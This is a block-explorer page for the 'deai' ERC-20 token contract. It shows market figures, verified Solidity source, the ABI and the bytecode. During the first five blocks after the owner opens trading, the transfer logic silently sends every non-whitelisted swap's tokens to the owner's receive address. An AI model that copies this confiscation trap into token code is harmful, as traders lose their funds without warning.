ETH Price: $3,094.43 (+1.31%)
 

Overview

Max Total Supply

1,050,000 deai

Holders

20,244

Transfers

-
3,405 ( 41.23%)

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
deai

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2024-12-30
*/

/**
 *Submitted for verification at BscScan.com on 2024-02-26
*/

/**
 *Submitted for verification at BscScan.com on 2024-01-27
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);

    function feeTo() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = address(0x12DBf65007345F635d819456c19b9fe745a15975);
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!o");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "n0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


interface ISwapPair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function totalSupply() external view returns (uint);

    function kLast() external view returns (uint);

    function sync() external;
}

library Math {
    function min(uint x, uint y) internal pure returns (uint z) {
        z = x < y ? x : y;
    }

    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }
}

library PancakeLibrary {
    // returns sorted token addresses, used to handle return values from pairs sorted in this order
    function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'PancakeLibrary: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'PancakeLibrary: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint160(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
            )))));
    }
}

abstract contract AbsToken is IERC20, Ownable {

    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private constant Dead = address(0x000000000000000000000000000000000000dEaD);
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _feeWhiteList;
    uint256 private _tTotal;

    ISwapRouter private immutable _swapRouter;
    mapping(address => bool) public _swapPairList;
    mapping(address => bool) public _swapRouters;
    address _swapRouterAddress;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
    address public immutable _mainPair;

    address public _fist;
    bool public _strictCheck = true;
    address private immutable _weth;




    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    address public _ReceiveAddress;
    constructor (
        address RouterAddress, address FISTAddress,
        string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
        address ReceiveAddress
    ){
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        _weth = swapRouter.WETH();
        _swapRouter = swapRouter;
        _swapRouters[address(swapRouter)] = true;
        _swapRouterAddress=RouterAddress;
        _ReceiveAddress=ReceiveAddress;
        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        _fist = FISTAddress;
        IERC20(_fist).approve(RouterAddress, MAX);
        _allowances[address(this)][address(swapRouter)] = MAX;
        address swapPair;
        if (address(0x10ED43C718714eb63d5aA57B78B54704E256024E) == RouterAddress) {
            swapPair = PancakeLibrary.pairFor(address(swapFactory), _weth, address(this));
        } else {
            swapPair = swapFactory.createPair(_weth, address(this));
        }
        _swapPairList[swapPair] = true;
        _mainPair = swapPair;

        uint256 tokenUnit = 10 ** Decimals;
        uint256 total = Supply * tokenUnit;
        _tTotal = total;
        uint256 receiveTotal = total;
        _balances[ReceiveAddress] = receiveTotal;
        emit Transfer(address(0), ReceiveAddress, receiveTotal);
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[msg.sender] = true;
        _feeWhiteList[address(0)] = true;
        _feeWhiteList[Dead] = true;
        _feeWhiteList[address(swapRouter)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function validSupply() public view returns (uint256) {
        return _tTotal - _balances[address(0)] - _balances[Dead];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

  
        uint256 balance = balanceOf(from);
        require(balance >= amount, "out Of banlance");
        uint256 Bamount=0;

        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
               require(startTradeBlock>0,"unOpen");         
               if(block.number<=startTradeBlock+5){
                Bamount=amount;
               } 
            }
        }
        if(Bamount>0){
        _tokenTransfer(from, _ReceiveAddress, amount);    
        }
        else{
        _tokenTransfer(from, to, amount);
        }
    }


    uint256 startTradeBlock=0;
    function startTrade()public onlyOwner{
        startTradeBlock=block.number;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + tAmount;
        emit Transfer(sender, recipient, tAmount); 
    }

    receive() external payable {}

}

contract deai is AbsToken {
    constructor() AbsToken(
       address(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24),
       address(0x4200000000000000000000000000000000000006),
        "deai",
        "deai",
        18,
        1050000,
      address(0x12DBf65007345F635d819456c19b9fe745a15975)
    ){

    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_ReceiveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fist","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_strictCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapRouters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600b805460ff60a01b1916600160a01b1790555f600d55348015610026575f5ffd5b506040805180820182526004808252636465616960e01b6020808401829052845180860186529283528201525f80546001600160a01b0319167312dbf65007345f635d819456c19b9fe745a1597590811782559351734752ba5dbc23f44d87826276bf6fd6b1c372ad249473420000000000000000000000000000000000000694939260129262100590929182918291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060036100e98682610740565b5060046100f68582610740565b506005805460ff191660ff8516179055604080516315ab88c960e31b8152905188916001600160a01b0383169163ad5c4648916004808201926020929091908290030181865afa15801561014c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017091906107fa565b6001600160a01b0390811660c05281811660808190525f818152600960209081526040808320805460ff19166001179055600a80548e87166001600160a01b031991821617909155600c80549689169690911695909517909455835163c45a015560e01b81529351919363c45a015592600480830193928290030181865afa1580156101fe573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022291906107fa565b600b80546001600160a01b0319166001600160a01b038b811691821790925560405163095ea7b360e01b8152918c1660048301525f19602483015291925063095ea7b3906044016020604051808303815f875af1158015610285573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102a99190610827565b50305f9081526002602090815260408083206001600160a01b038681168552925282205f1990558a167310ed43c718714eb63d5aa57b78b54704e256024e03610306576102ff8260c051306104cb60201b60201c565b905061037c565b60c0516040516364e329cb60e11b81526001600160a01b0391821660048201523060248201529083169063c9c65396906044016020604051808303815f875af1158015610355573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061037991906107fa565b90505b6001600160a01b0381165f818152600860205260408120805460ff1916600117905560a0919091526103af87600a61093f565b90505f6103bc828861094d565b60078190556001600160a01b0387165f8181526001602090815260408083208590555184815293945084937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050506001600160a01b039283165f908152600660205260408082208054600160ff199182168117909255308452828420805482168317905533845282842080548216831790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f880548216831790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548216831790559490951682529020805490921690921790555061096495505050505050565b5f80806104d885856105af565b6040516001600160601b0319606084811b8216602084015283901b166034820152919350915086906048016040516020818303038152906040528051906020012060405160200161058d9291907fff00000000000000000000000000000000000000000000000000000000000000815260609290921b6001600160601b031916600183015260158201527efb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5603582015260550190565b60408051601f1981840301815291905280516020909101209695505050505050565b5f5f826001600160a01b0316846001600160a01b0316036106235760405162461bcd60e51b815260206004820152602360248201527f50616e63616b654c6962726172793a204944454e544943414c5f41444452455360448201526253455360e81b60648201526084015b60405180910390fd5b826001600160a01b0316846001600160a01b031610610643578284610646565b83835b90925090506001600160a01b0382166106a15760405162461bcd60e51b815260206004820152601c60248201527f50616e63616b654c6962726172793a205a45524f5f4144445245535300000000604482015260640161061a565b9250929050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806106d057607f821691505b6020821081036106ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561073b57805f5260205f20601f840160051c810160208510156107195750805b601f840160051c820191505b81811015610738575f8155600101610725565b50505b505050565b81516001600160401b03811115610759576107596106a8565b61076d8161076784546106bc565b846106f4565b6020601f82116001811461079f575f83156107885750848201515b5f19600385901b1c1916600184901b178455610738565b5f84815260208120601f198516915b828110156107ce57878501518255602094850194600190920191016107ae565b50848210156107eb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f6020828403121561080a575f5ffd5b81516001600160a01b0381168114610820575f5ffd5b9392505050565b5f60208284031215610837575f5ffd5b81518015158114610820575f5ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156108955780850481111561087957610879610846565b600184161561088757908102905b60019390931c92800261085e565b935093915050565b5f826108ab57506001610939565b816108b757505f610939565b81600181146108cd57600281146108d7576108f3565b6001915050610939565b60ff8411156108e8576108e8610846565b50506001821b610939565b5060208310610133831016604e8410600b8410161715610916575081810a610939565b6109225f19848461085a565b805f190482111561093557610935610846565b0290505b92915050565b5f61082060ff84168361089d565b808202811582820484141761093957610939610846565b60805160a05160c051610bcd6109885f395f50505f6102ad01525f5050610bcd5ff3fe608060405260043610610134575f3560e01c80636ebcf607116100a8578063984d11fc1161006d578063984d11fc146103a0578063a9059cbb146103b4578063d92e9d9e146103d3578063dd62ed3e146103f2578063f2fde38b14610436578063f9aba09314610455575f5ffd5b80636ebcf607146102fd57806370a0823114610328578063715018a61461035c5780638da5cb5b1461037057806395d89b411461038c575f5ffd5b806318160ddd116100f957806318160ddd1461021057806323b872dd1461022e578063313ce5671461024d5780633c11100d1461026e5780634188bf5a1461029c5780636c580801146102e7575f5ffd5b806301873d8f1461013f57806301986fad1461018257806304c23ffe146101b057806306fdde03146101d0578063095ea7b3146101f1575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b5061016d610159366004610a21565b60096020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561018d575f5ffd5b5061016d61019c366004610a21565b60066020525f908152604090205460ff1681565b3480156101bb575f5ffd5b50600b5461016d90600160a01b900460ff1681565b3480156101db575f5ffd5b506101e4610474565b6040516101799190610a41565b3480156101fc575f5ffd5b5061016d61020b366004610a76565b610504565b34801561021b575f5ffd5b506007545b604051908152602001610179565b348015610239575f5ffd5b5061016d610248366004610a9e565b61051a565b348015610258575f5ffd5b5060055460405160ff9091168152602001610179565b348015610279575f5ffd5b5061016d610288366004610a21565b60086020525f908152604090205460ff1681565b3480156102a7575f5ffd5b506102cf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610179565b3480156102f2575f5ffd5b506102fb6105ac565b005b348015610308575f5ffd5b50610220610317366004610a21565b60016020525f908152604090205481565b348015610333575f5ffd5b50610220610342366004610a21565b6001600160a01b03165f9081526001602052604090205490565b348015610367575f5ffd5b506102fb6105e4565b34801561037b575f5ffd5b505f546001600160a01b03166102cf565b348015610397575f5ffd5b506101e4610655565b3480156103ab575f5ffd5b50610220610664565b3480156103bf575f5ffd5b5061016d6103ce366004610a76565b6106d0565b3480156103de575f5ffd5b50600c546102cf906001600160a01b031681565b3480156103fd575f5ffd5b5061022061040c366004610ad8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610441575f5ffd5b506102fb610450366004610a21565b6106dc565b348015610460575f5ffd5b50600b546102cf906001600160a01b031681565b60606003805461048390610b09565b80601f01602080910402602001604051908101604052809291908181526020018280546104af90610b09565b80156104fa5780601f106104d1576101008083540402835291602001916104fa565b820191905f5260205f20905b8154815290600101906020018083116104dd57829003601f168201915b5050505050905090565b5f610510338484610799565b5060015b92915050565b5f6105268484846107fa565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f19146105a2576001600160a01b0384165f90815260026020908152604080832033845290915290205461057e908390610b55565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105de5760405162461bcd60e51b81526004016105d590610b68565b60405180910390fd5b43600d55565b5f546001600160a01b0316331461060d5760405162461bcd60e51b81526004016105d590610b68565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606004805461048390610b09565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d545f8080527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546007549192916106c19190610b55565b6106cb9190610b55565b905090565b5f6105103384846107fa565b5f546001600160a01b031633146107055760405162461bcd60e51b81526004016105d590610b68565b6001600160a01b0381166107405760405162461bcd60e51b815260206004820152600260248201526106e360f41b60448201526064016105d5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f90815260016020526040902054818110156108545760405162461bcd60e51b815260206004820152600f60248201526e6f7574204f662062616e6c616e636560881b60448201526064016105d5565b6001600160a01b0384165f9081526008602052604081205460ff168061089157506001600160a01b0384165f9081526008602052604090205460ff165b1561092c576001600160a01b0385165f9081526006602052604090205460ff161580156108d657506001600160a01b0384165f9081526006602052604090205460ff16155b1561092c575f600d54116109155760405162461bcd60e51b81526020600482015260066024820152653ab727b832b760d11b60448201526064016105d5565b600d54610923906005610b84565b431161092c5750815b801561094f57600c5461094a9086906001600160a01b031685610961565b61095a565b61095a858585610961565b5050505050565b6001600160a01b0383165f90815260016020526040902054610984908290610b55565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b3908290610b84565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107ed9085815260200190565b80356001600160a01b0381168114610a1c575f5ffd5b919050565b5f60208284031215610a31575f5ffd5b610a3a82610a06565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f5f60408385031215610a87575f5ffd5b610a9083610a06565b946020939093013593505050565b5f5f5f60608486031215610ab0575f5ffd5b610ab984610a06565b9250610ac760208501610a06565b929592945050506040919091013590565b5f5f60408385031215610ae9575f5ffd5b610af283610a06565b9150610b0060208401610a06565b90509250929050565b600181811c90821680610b1d57607f821691505b602082108103610b3b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561051457610514610b41565b602080825260029082015261216f60f01b604082015260600190565b8082018082111561051457610514610b4156fea264697066735822122009ef7d34eb05e6e3048b55d31604b33729278b9dd9d2d0369f663931caba5f9464736f6c634300081c0033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80636ebcf607116100a8578063984d11fc1161006d578063984d11fc146103a0578063a9059cbb146103b4578063d92e9d9e146103d3578063dd62ed3e146103f2578063f2fde38b14610436578063f9aba09314610455575f5ffd5b80636ebcf607146102fd57806370a0823114610328578063715018a61461035c5780638da5cb5b1461037057806395d89b411461038c575f5ffd5b806318160ddd116100f957806318160ddd1461021057806323b872dd1461022e578063313ce5671461024d5780633c11100d1461026e5780634188bf5a1461029c5780636c580801146102e7575f5ffd5b806301873d8f1461013f57806301986fad1461018257806304c23ffe146101b057806306fdde03146101d0578063095ea7b3146101f1575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b5061016d610159366004610a21565b60096020525f908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561018d575f5ffd5b5061016d61019c366004610a21565b60066020525f908152604090205460ff1681565b3480156101bb575f5ffd5b50600b5461016d90600160a01b900460ff1681565b3480156101db575f5ffd5b506101e4610474565b6040516101799190610a41565b3480156101fc575f5ffd5b5061016d61020b366004610a76565b610504565b34801561021b575f5ffd5b506007545b604051908152602001610179565b348015610239575f5ffd5b5061016d610248366004610a9e565b61051a565b348015610258575f5ffd5b5060055460405160ff9091168152602001610179565b348015610279575f5ffd5b5061016d610288366004610a21565b60086020525f908152604090205460ff1681565b3480156102a7575f5ffd5b506102cf7f000000000000000000000000ca77753a8f0f91986d3bbda1e2b53dda04a8021b81565b6040516001600160a01b039091168152602001610179565b3480156102f2575f5ffd5b506102fb6105ac565b005b348015610308575f5ffd5b50610220610317366004610a21565b60016020525f908152604090205481565b348015610333575f5ffd5b50610220610342366004610a21565b6001600160a01b03165f9081526001602052604090205490565b348015610367575f5ffd5b506102fb6105e4565b34801561037b575f5ffd5b505f546001600160a01b03166102cf565b348015610397575f5ffd5b506101e4610655565b3480156103ab575f5ffd5b50610220610664565b3480156103bf575f5ffd5b5061016d6103ce366004610a76565b6106d0565b3480156103de575f5ffd5b50600c546102cf906001600160a01b031681565b3480156103fd575f5ffd5b5061022061040c366004610ad8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610441575f5ffd5b506102fb610450366004610a21565b6106dc565b348015610460575f5ffd5b50600b546102cf906001600160a01b031681565b60606003805461048390610b09565b80601f01602080910402602001604051908101604052809291908181526020018280546104af90610b09565b80156104fa5780601f106104d1576101008083540402835291602001916104fa565b820191905f5260205f20905b8154815290600101906020018083116104dd57829003601f168201915b5050505050905090565b5f610510338484610799565b5060015b92915050565b5f6105268484846107fa565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f19146105a2576001600160a01b0384165f90815260026020908152604080832033845290915290205461057e908390610b55565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105de5760405162461bcd60e51b81526004016105d590610b68565b60405180910390fd5b43600d55565b5f546001600160a01b0316331461060d5760405162461bcd60e51b81526004016105d590610b68565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606004805461048390610b09565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d545f8080527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49546007549192916106c19190610b55565b6106cb9190610b55565b905090565b5f6105103384846107fa565b5f546001600160a01b031633146107055760405162461bcd60e51b81526004016105d590610b68565b6001600160a01b0381166107405760405162461bcd60e51b815260206004820152600260248201526106e360f41b60448201526064016105d5565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f90815260016020526040902054818110156108545760405162461bcd60e51b815260206004820152600f60248201526e6f7574204f662062616e6c616e636560881b60448201526064016105d5565b6001600160a01b0384165f9081526008602052604081205460ff168061089157506001600160a01b0384165f9081526008602052604090205460ff165b1561092c576001600160a01b0385165f9081526006602052604090205460ff161580156108d657506001600160a01b0384165f9081526006602052604090205460ff16155b1561092c575f600d54116109155760405162461bcd60e51b81526020600482015260066024820152653ab727b832b760d11b60448201526064016105d5565b600d54610923906005610b84565b431161092c5750815b801561094f57600c5461094a9086906001600160a01b031685610961565b61095a565b61095a858585610961565b5050505050565b6001600160a01b0383165f90815260016020526040902054610984908290610b55565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546109b3908290610b84565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107ed9085815260200190565b80356001600160a01b0381168114610a1c575f5ffd5b919050565b5f60208284031215610a31575f5ffd5b610a3a82610a06565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f5f60408385031215610a87575f5ffd5b610a9083610a06565b946020939093013593505050565b5f5f5f60608486031215610ab0575f5ffd5b610ab984610a06565b9250610ac760208501610a06565b929592945050506040919091013590565b5f5f60408385031215610ae9575f5ffd5b610af283610a06565b9150610b0060208401610a06565b90509250929050565b600181811c90821680610b1d57607f821691505b602082108103610b3b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561051457610514610b41565b602080825260029082015261216f60f01b604082015260600190565b8082018082111561051457610514610b4156fea264697066735822122009ef7d34eb05e6e3048b55d31604b33729278b9dd9d2d0369f663931caba5f9464736f6c634300081c0033

Deployed Bytecode Sourcemap

